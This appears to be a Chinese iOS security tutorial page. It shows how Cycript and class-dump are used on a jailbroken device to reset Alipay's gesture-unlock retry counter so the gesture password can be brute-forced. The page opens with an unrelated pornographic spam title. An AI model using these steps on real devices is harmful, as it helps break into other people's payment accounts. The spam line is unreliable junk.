在线观看不卡亚洲电影_亚洲妓女99综合网_91青青青亚洲娱乐在线观看_日韩无码高清综合久久

鍍金池/ 教程/ iOS/ Hack 實戰(zhàn)——解除支付寶 App 手勢解鎖錯誤次數限制
Hack 實戰(zhàn)——支付寶 App 手勢密碼校驗欺騙
使用 Reveal 分析他人 App
后臺 daemon 非法竊取用戶 iTunesstore 信息
使用 iNalyzer 分析應用程序
越獄檢測的攻與防
使用 introspy 追蹤分析應用程序
廢除應用程序的 ASLR 特性
使用 Cycript 修改支付寶 App 運行時
敏感邏輯的保護方案
Fishhook
使用 class-dump-z 分析支付寶 App
static 和被裁的符號表
iOS7 的動態(tài)庫注入
二進制和資源文件自檢
Hack 實戰(zhàn)——探究支付寶 App 手勢密碼
使用 Keychain-Dumper 導出 keychain 數據
數據擦除
Hack 實戰(zhàn)——解除支付寶 App 手勢解鎖錯誤次數限制
Objective-C 代碼混淆
阻止 GDB 依附
基于腳本實現動態(tài)庫注入
Hack 必備的命令與工具
鍵盤緩存與安全鍵盤
數據保護 API

Hack 實戰(zhàn)——解除支付寶 App 手勢解鎖錯誤次數限制

之前僅僅介紹了工具的使用,本文將實踐一下如何利用 cycript 結合 class-dump 結果 hack,還要犧牲一下支付寶 App 。

首先,老套路,取到手勢解鎖界面的 View Controller:

cy# var app = [UIApplication sharedApplication]  
@"<DFApplication: 0x1666c960>"  
cy# var keyWindow = app.keyWindow  
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"  
cy# var root = keyWindow.rootViewController  
@"<UINavigationController: 0x179779a0>"  
cy# var visible = root.visibleViewController  
@"<GestureUnlockViewController: 0x165de090>"

然后,對照 class-dump-z 結果,來分析 GestureUnlockViewController 有什么利用價值 :

@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {  
@private  
    GestureHeadImageView* _headImageView;  
    GestureTipLabel* _tipLabel;  
    GestureInputView* _inputView;  
    DTButton* _forgetButton;  
    DTButton* _changeAccountButton;  
    int _retryCount;  
    UIView* _guideView;  
    id<GestrueViewControllerDelegate> _delegate;  
}  
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;  
-(void).cxx_destruct;  
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;  
-(void)headClicked;  
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;  
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;  
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;  
-(void)actionChangeAccountToLogin;  
-(void)actionResetPswBtnClick;  
-(void)resetCurrentUser;  
-(void)resetPsw;  
-(void)viewWillDisappear:(BOOL)view;  
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;  
-(void)viewWillAppear:(BOOL)view;  
-(void)breakFirstRun;  
-(BOOL)isFirstRun;  
-(void)guideViewClicked:(id)clicked;  
-(void)viewDidLoad;  
-(void)viewWillLayoutSubviews;  
@end  

目測 _tipLabel 是寫賬戶名和提示操作的 label ,上篇文章我提到過:@private 限制不了 keyPath ,現在我們來修改一下支付寶登錄頁的用戶名信息:

cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]  

http://wiki.jikexueyuan.com/project/ios-security-defense/images/hack-practice.png" alt="hack-practice" />

支付寶手勢密碼解鎖有嘗試次數限制,連續(xù)錯 5 次就要重新登錄。 我想解除重試解鎖次數的限制,發(fā)現了記錄解鎖次數的類型是 int ,int _retryCount ,這一點讓我很不開心,因為我無法通過 KVC 來修改其值了。

但是沒有關系,我可以通過指針訪問:

cy# visible->_retryCount = 0  
0  

這樣我就能無限制的用程序暴力破解手勢密碼了,來計算一下有多少種可能呢?

http://wiki.jikexueyuan.com/project/ios-security-defense/images/hack-practice2.png" alt="hack-practice2" />

這個數字對我來說有點大,可是對 iPhone5 的 CPU 來說就是小菜一碟了~

等一下,密碼格式是什么呢?

-(void)gestureInputView:(id)view   
didFinishWithPassword:(id)password; 

id 類型的密碼,很嚴謹,又給 hack 帶來不少麻煩呀~ 不過沒關系,我們可以利用 Method Swizzling 來打出 password 到底是什么,不過呢,貌似可以再寫一篇新文章去介紹了……